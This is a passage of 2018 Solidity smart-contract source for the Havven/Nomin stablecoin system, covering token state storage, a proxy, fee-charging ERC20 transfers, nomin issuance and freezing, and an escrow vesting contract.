modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address associatedContract);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: TokenState.sol
version: 1.1
author: Dominic Romanowski
Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract that holds the state of an ERC20 compliant token.
This contract is used side by side with external state token
contracts, such as Havven and Nomin.
It provides an easy way to upgrade contract logic while
maintaining all user balances and allowances. This is designed
to make the changeover as easy as possible, since mappings
are not so cheap or straightforward to migrate.
The first deployed contract would create this state contract,
using it as its store of balances.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token State
* @notice Stores balance information of an ERC20 token contract.
*/
contract TokenState is State {
/* ERC20 fields. */
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
/**
* @dev Constructor
* @param _owner The address which controls this contract.
* @param _associatedContract The ERC20 contract whose state this composes.
*/
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
/* ========== SETTERS ========== */
/**
* @notice Set ERC20 allowance.
* @dev Only the associated contract may call this.
* @param tokenOwner The authorising party.
* @param spender The authorised party.
* @param value The total value the authorised party may spend on the
* authorising party's behalf.
*/
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
/**
* @notice Set the balance in a given account
* @dev Only the associated contract may call this.
* @param account The account whose value to set.
* @param value The new balance of the given account.
*/
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Proxy.sol
version: 1.3
author: Anton Jurisevic
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A proxy contract that, if it does not recognise the function
being called on it, passes all value and call data to an
underlying target contract.
This proxy has the capacity to toggle between DELEGATECALL
and CALL style proxy functionality.
The former executes in the proxy's context, and so will preserve
msg.sender and store data at the proxy address. The latter will not.
Therefore, any contract the proxy wraps in the CALL style must
implement the Proxyable interface, in order that it can pass msg.sender
into the underlying contract as the state parameter, messageSender.
-----------------------------------------------------------------
*/
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics,
bytes32 topic1, bytes32 topic2,
bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
/* Copy call data into free memory region. */
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* Forward all gas and call data to the target contract. */
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
/* Revert if the call failed, otherwise return the result. */
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
/* Here we are as above, but must send the messageSender explicitly
* since we are using CALL rather than DELEGATECALL. */
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "This action can only be performed by the proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Proxyable.sol
version: 1.1
author: Anton Jurisevic
date: 2018-05-15
checked: Mike Spain
approved: Samuel Brooks
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A proxyable contract that works hand in hand with the Proxy contract
to allow for anyone to interact with the underlying contract both
directly and through the proxy.
-----------------------------------------------------------------
*/
// This contract should be treated like an abstract contract
contract Proxyable is Owned {
/* The proxy this contract exists behind. */
Proxy public proxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: ExternStateToken.sol
version: 1.0
author: Kevin Brown
date: 2018-08-06
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract offers a modifer that can prevent reentrancy on
particular actions. It will not work if you put it on multiple
functions that can be called from each other. Specifically guard
external entry points to the contract with the modifier only.
-----------------------------------------------------------------
*/
contract ReentrancyPreventer {
/* ========== MODIFIERS ========== */
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: ExternStateToken.sol
version: 1.3
author: Anton Jurisevic
Dominic Romanowski
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A partial ERC20 token contract, designed to operate with a proxy.
To produce a complete ERC20 token, transfer and transferFrom
tokens must be implemented, using the provided _byProxy internal
functions.
This contract utilises an external state for upgradeability.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token contract, with detached state and designed to operate behind a proxy.
*/
contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable, ReentrancyPreventer {
/* ========== STATE VARIABLES ========== */
/* Stores balances and allowances. */
TokenState public tokenState;
/* Other ERC20 fields.
* Note that the decimals field is defined in SafeDecimalMath.*/
string public name;
string public symbol;
uint public totalSupply;
/**
* @dev Constructor.
* @param _proxy The proxy associated with this contract.
* @param _name Token's ERC20 name.
* @param _symbol Token's ERC20 symbol.
* @param _totalSupply The total supply of the token.
* @param _tokenState The TokenState contract address.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
tokenState = _tokenState;
}
/* ========== VIEWS ========== */
/**
* @notice Returns the ERC20 allowance of one party to spend on behalf of another.
* @param owner The party authorising spending of their funds.
* @param spender The party spending tokenOwner's funds.
*/
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
/**
* @notice Returns the ERC20 token balance of a given account.
*/
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Set the address of the TokenState contract.
* @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000..
* as balances would be unreachable.
*/
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value)
internal
preventReentrancy
returns (bool)
{
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
/* Insufficient balance will be handled by the safe subtraction. */
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value));
/*
If we're transferring to a contract and it implements the havvenTokenFallback function, call it.
This isn't ERC223 compliant because:
1. We don't revert if the contract doesn't implement havvenTokenFallback.
This is because many DEXes and other contracts that expect to work with the standard
approve / transferFrom workflow don't implement tokenFallback but can still process our tokens as
usual, so it feels very harsh and likely to cause trouble if we add this restriction after having
previously gone live with a vanilla ERC20.
2. We don't pass the bytes parameter.
This is because of this solidity bug: https://github.com/ethereum/solidity/issues/2884
3. We also don't let the user use a custom tokenFallback. We figure as we're already not standards
compliant, there won't be a use case where users can't just implement our specific function.
As such we've called the function havvenTokenFallback to be clear that we are not following the standard.
*/
// Is the to address a contract? We can check the code size on that address and know.
uint length;
// solium-disable-next-line security/no-inline-assembly
assembly {
// Retrieve the size of the code on the recipient address
length := extcodesize(to)
}
// If there's code there, it's a contract
if (length > 0) {
// Now we need to optionally call havvenTokenFallback(address from, uint value).
// We can't call it the normal way because that reverts when the recipient doesn't implement the function.
// We'll use .call(), which means we need the function selector. We've pre-computed
// abi.encodeWithSignature("havvenTokenFallback(address,uint256)"), to save some gas.
// solium-disable-next-line security/no-low-level-calls
to.call(0xcbff5d96, messageSender, value);
// And yes, we specifically don't care if this call fails, so we're not checking the return value.
}
// Emit a standard ERC20 transfer event
emitTransfer(from, to, value);
return true;
}
/**
* @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing
* the onlyProxy or optionalProxy modifiers.
*/
function _transfer_byProxy(address from, address to, uint value)
internal
returns (bool)
{
return _internalTransfer(from, to, value);
}
/**
* @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions
* possessing the optionalProxy or optionalProxy modifiers.
*/
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
/* Insufficient allowance will be handled by the safe subtraction. */
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, value);
}
/**
* @notice Approves spender to transfer on the message sender's behalf.
*/
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
/* ========== EVENTS ========== */
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: FeeToken.sol
version: 1.3
author: Anton Jurisevic
Dominic Romanowski
Kevin Brown
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A token which also has a configurable fee rate
charged on its transfers. This is designed to be overridden in
order to produce an ERC20-compliant token.
These fees accrue into a pool, from which a nominated authority
may withdraw.
This contract utilises an external state for upgradeability.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token contract, with detached state.
* Additionally charges fees on each transfer.
*/
contract FeeToken is ExternStateToken {
/* ========== STATE VARIABLES ========== */
/* ERC20 members are declared in ExternStateToken. */
/* A percentage fee charged on each transfer. */
uint public transferFeeRate;
/* Fee may not exceed 10%. */
uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10;
/* The address with the authority to distribute fees. */
address public feeAuthority;
/* The address that fees will be pooled in. */
address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef;
/* ========== CONSTRUCTOR ========== */
/**
* @dev Constructor.
* @param _proxy The proxy associated with this contract.
* @param _name Token's ERC20 name.
* @param _symbol Token's ERC20 symbol.
* @param _totalSupply The total supply of the token.
* @param _transferFeeRate The fee rate to charge on transfers.
* @param _feeAuthority The address which has the authority to withdraw fees from the accumulated pool.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply,
uint _transferFeeRate, address _feeAuthority, address _owner)
ExternStateToken(_proxy, _tokenState,
_name, _symbol, _totalSupply,
_owner)
public
{
feeAuthority = _feeAuthority;
/* Constructed transfer fee rate should respect the maximum fee rate. */
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
transferFeeRate = _transferFeeRate;
}
/* ========== SETTERS ========== */
/**
* @notice Set the transfer fee, anywhere within the range 0-10%.
* @dev The fee rate is in decimal format, with UNIT being the value of 100%.
*/
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeRateUpdated(_transferFeeRate);
}
/**
* @notice Set the address of the user/contract responsible for collecting or
* distributing fees.
*/
function setFeeAuthority(address _feeAuthority)
public
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
/* ========== VIEWS ========== */
/**
* @notice Calculate the Fee charged on top of a value being sent
* @return Return the fee charged
*/
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return safeMul_dec(value, transferFeeRate);
/* Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees.
* This is on the basis that transfers less than this value will result in a nil fee.
* Probably too insignificant to worry about, but the following code will achieve it.
* if (fee == 0 && transferFeeRate != 0) {
* return _value;
* }
* return fee;
*/
}
/**
* @notice The value that you would need to send so that the recipient receives
* a specified value.
*/
function transferPlusFee(uint value)
external
view
returns (uint)
{
return safeAdd(value, transferFeeIncurred(value));
}
/**
* @notice The amount the recipient will receive if you send a certain number of tokens.
*/
function amountReceived(uint value)
public
view
returns (uint)
{
return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate));
}
/**
* @notice Collected fees sit here until they are distributed.
* @dev The balance of the nomin contract itself is the fee pool.
*/
function feePool()
external
view
returns (uint)
{
return tokenState.balanceOf(FEE_ADDRESS);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Base of transfer functions
*/
function _internalTransfer(address from, address to, uint amount, uint fee)
internal
returns (bool)
{
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
/* Insufficient balance will be handled by the safe subtraction. */
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee)));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee));
/* Emit events for both the transfer itself and the fee. */
emitTransfer(from, to, amount);
emitTransfer(from, FEE_ADDRESS, fee);
return true;
}
/**
* @notice ERC20 friendly transfer function.
*/
function _transfer_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
return _internalTransfer(sender, to, received, fee);
}
/**
* @notice ERC20 friendly transferFrom function.
*/
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
/* The fee is deducted from the amount sent. */
uint received = amountReceived(value);
uint fee = safeSub(value, received);
/* Reduce the allowance by the amount we're transferring.
* The safeSub call will handle an insufficient allowance. */
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, received, fee);
}
/**
* @notice Ability to transfer where the sender pays the fees (not ERC20)
*/
function _transferSenderPaysFee_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
/* The fee is added to the amount sent. */
uint fee = transferFeeIncurred(value);
return _internalTransfer(sender, to, value, fee);
}
/**
* @notice Ability to transferFrom where they sender pays the fees (not ERC20).
*/
function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
/* The fee is added to the amount sent. */
uint fee = transferFeeIncurred(value);
uint total = safeAdd(value, fee);
/* Reduce the allowance by the amount we're transferring. */
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total));
return _internalTransfer(from, to, value, fee);
}
/**
* @notice Withdraw tokens from the fee pool into a given account.
* @dev Only the fee authority may call this.
*/
function withdrawFees(address account, uint value)
external
onlyFeeAuthority
returns (bool)
{
require(account != address(0), "Must supply an account address to withdraw fees");
/* 0-value withdrawals do nothing. */
if (value == 0) {
return false;
}
/* Safe subtraction ensures an exception is thrown if the balance is insufficient. */
tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value));
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value));
emitFeesWithdrawn(account, value);
emitTransfer(FEE_ADDRESS, account, value);
return true;
}
/**
* @notice Donate tokens from the sender's balance into the fee pool.
*/
function donateToFeePool(uint n)
external
optionalProxy
returns (bool)
{
address sender = messageSender;
/* Empty donations are disallowed. */
uint balance = tokenState.balanceOf(sender);
require(balance != 0, "Must have a balance in order to donate to the fee pool");
/* safeSub ensures the donor has sufficient balance. */
tokenState.setBalanceOf(sender, safeSub(balance, n));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n));
emitFeesDonated(sender, n);
emitTransfer(sender, FEE_ADDRESS, n);
return true;
}
/* ========== MODIFIERS ========== */
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can do this action");
_;
}
/* ========== EVENTS ========== */
event TransferFeeRateUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256("TransferFeeRateUpdated(uint256)");
function emitTransferFeeRateUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event FeesDonated(address indexed donor, uint value);
bytes32 constant FEESDONATED_SIG = keccak256("FeesDonated(address,uint256)");
function emitFeesDonated(address donor, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Nomin.sol
version: 1.2
author: Anton Jurisevic
Mike Spain
Dominic Romanowski
Kevin Brown
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Havven-backed nomin stablecoin contract.
This contract issues nomins, which are tokens worth 1 USD each.
Nomins are issuable by Havven holders who have to lock up some
value of their havvens to issue H * Cmax nomins. Where Cmax is
some value less than 1.
A configurable fee is charged on nomin transfers and deposited
into a common pot, which havven holders may withdraw from once
per fee period.
-----------------------------------------------------------------
*/
contract Nomin is FeeToken {
/* ========== STATE VARIABLES ========== */
Havven public havven;
// Accounts which have lost the privilege to transact in nomins.
mapping(address => bool) public frozen;
// Nomin transfers incur a 15 bp fee by default.
uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000;
string constant TOKEN_NAME = "Nomin USD";
string constant TOKEN_SYMBOL = "nUSD";
/* ========== CONSTRUCTOR ========== */
constructor(address _proxy, TokenState _tokenState, Havven _havven,
uint _totalSupply,
address _owner)
FeeToken(_proxy, _tokenState,
TOKEN_NAME, TOKEN_SYMBOL, _totalSupply,
TRANSFER_FEE_RATE,
_havven, // The havven contract is the fee authority.
_owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_havven) != 0, "_havven cannot be 0");
require(_owner != 0, "_owner cannot be 0");
// It should not be possible to transfer to the fee pool directly (or confiscate its balance).
frozen[FEE_ADDRESS] = true;
havven = _havven;
}
/* ========== SETTERS ========== */
function setHavven(Havven _havven)
external
optionalProxy_onlyOwner
{
// havven should be set as the feeAuthority after calling this depending on
// havven's internal logic
havven = _havven;
setFeeAuthority(_havven);
emitHavvenUpdated(_havven);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/* Override ERC20 transfer function in order to check
* whether the recipient account is frozen. Note that there is
* no need to check whether the sender has a frozen account,
* since their funds have already been confiscated,
* and no new funds can be transferred to it.*/
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transfer_byProxy(messageSender, to, value);
}
/* Override ERC20 transferFrom function in order to check
* whether the recipient account is frozen. */
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferFrom_byProxy(messageSender, from, to, value);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferSenderPaysFee_byProxy(messageSender, to, value);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to], "Cannot transfer to frozen address");
return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value);
}
/* The owner may allow a previously-frozen contract to once
* again accept and transfer nomins. */
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
require(frozen[target] && target != FEE_ADDRESS, "Account must be frozen, and cannot be the fee address");
frozen[target] = false;
emitAccountUnfrozen(target);
}
/* Allow havven to issue a certain number of
* nomins from an account. */
function issue(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount));
totalSupply = safeAdd(totalSupply, amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
/* Allow havven to burn a certain number of
* nomins from an account. */
function burn(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount));
totalSupply = safeSub(totalSupply, amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
/* ========== MODIFIERS ========== */
modifier onlyHavven() {
require(Havven(msg.sender) == havven, "Only the Havven contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event HavvenUpdated(address newHavven);
bytes32 constant HAVVENUPDATED_SIG = keccak256("HavvenUpdated(address)");
function emitHavvenUpdated(address newHavven) internal {
proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0);
}
event AccountFrozen(address indexed target, uint balance);
bytes32 constant ACCOUNTFROZEN_SIG = keccak256("AccountFrozen(address,uint256)");
function emitAccountFrozen(address target, uint balance) internal {
proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0);
}
event AccountUnfrozen(address indexed target);
bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256("AccountUnfrozen(address)");
function emitAccountUnfrozen(address target) internal {
proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0);
}
event Issued(address indexed account, uint amount);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint amount);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: LimitedSetup.sol
version: 1.1
author: Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract with a limited setup period. Any function modified
with the setup modifier will cease to work after the
conclusion of the configurable-length post-construction setup period.
-----------------------------------------------------------------
*/
/**
* @title Any function decorated with the modifier this contract provides
* deactivates after a specified setup period.
*/
contract LimitedSetup {
uint setupExpiryTime;
/**
* @dev LimitedSetup Constructor.
* @param setupDuration The time the setup period will last for.
*/
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: HavvenEscrow.sol
version: 1.1
author: Anton Jurisevic
Dominic Romanowski
Mike Spain
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract allows the foundation to apply unique vesting
schedules to havven funds sold at various discounts in the token
sale. HavvenEscrow gives users the ability to inspect their
vested funds, their quantities and vesting dates, and to withdraw
the fees that accrue on those funds.
The fees are handled by withdrawing the entire fee allocation
for all havvens inside the escrow contract, and then allowing
the contract itself to subdivide that pool up proportionally within
itself. Every time the fee period rolls over in the main Havven
contract, the HavvenEscrow fee pool is remitted back into the
main fee pool to be redistributed in the next fee period.
-----------------------------------------------------------------
*/
/**
* @title A contract to hold escrowed havvens and free them at given schedules.
*/
contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) {
/* The corresponding Havven contract. */
Havven public havven;
/* Lists of (timestamp, quantity) pairs per account, sorted in ascending time order.
* These are the times at which each given quantity of havvens vests. */
mapping(address => uint[2][]) public vestingSchedules;
/* An account's total vested havven balance to save recomputing this for fee extraction purposes. */
mapping(address => uint) public totalVestedAccountBalance;
/* The total remaining vested balance, for verifying the actual havven balance of this contract against. */
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
/* Limit vesting entries to disallow unbounded iteration over vesting schedules. */
uint constant MAX_VESTING_ENTRIES = 20;
/* ========== CONSTRUCTOR ========== */
constructor(address _owner, Havven _havven)
Owned(_owner)
public
{
havven = _havven;
}
/* ========== SETTERS ========== */
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice A simple alias to totalVestedAccountBalance: provides ERC20 balance integration.
*/
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
/**
* @notice The number of vesting dates in an account's schedule.
*/
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
/**
* @notice Get a particular schedule entry for an account.
* @return A pair of uints: (timestamp, havven quantity).
*/
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
/**
* @notice Get the time at which a given schedule entry will vest.
*/
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
/**
* @notice Get the quantity of havvens associated with a given schedule entry.
*/
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
/**
* @notice Obtain the index of the next schedule entry that will vest for a given user.
*/
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
/**
* @notice Obtain the next schedule entry that will vest for a given user.
* @return A pair of uints: (timestamp, havven quantity). */
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
/**
* @notice Obtain the time at which the next schedule entry will vest for a given user.
*/
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
/**
* @notice Obtain the quantity which the next schedule entry will vest for a given user.
*/
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Withdraws a quantity of havvens back to the havven contract.
* @dev This may only be called by the owner during the contract's setup period.
*/
function withdrawHavvens(uint quantity)
external
onlyOwner
onlyDuringSetup
{
havven.transfer(havven, quantity);
}
/**
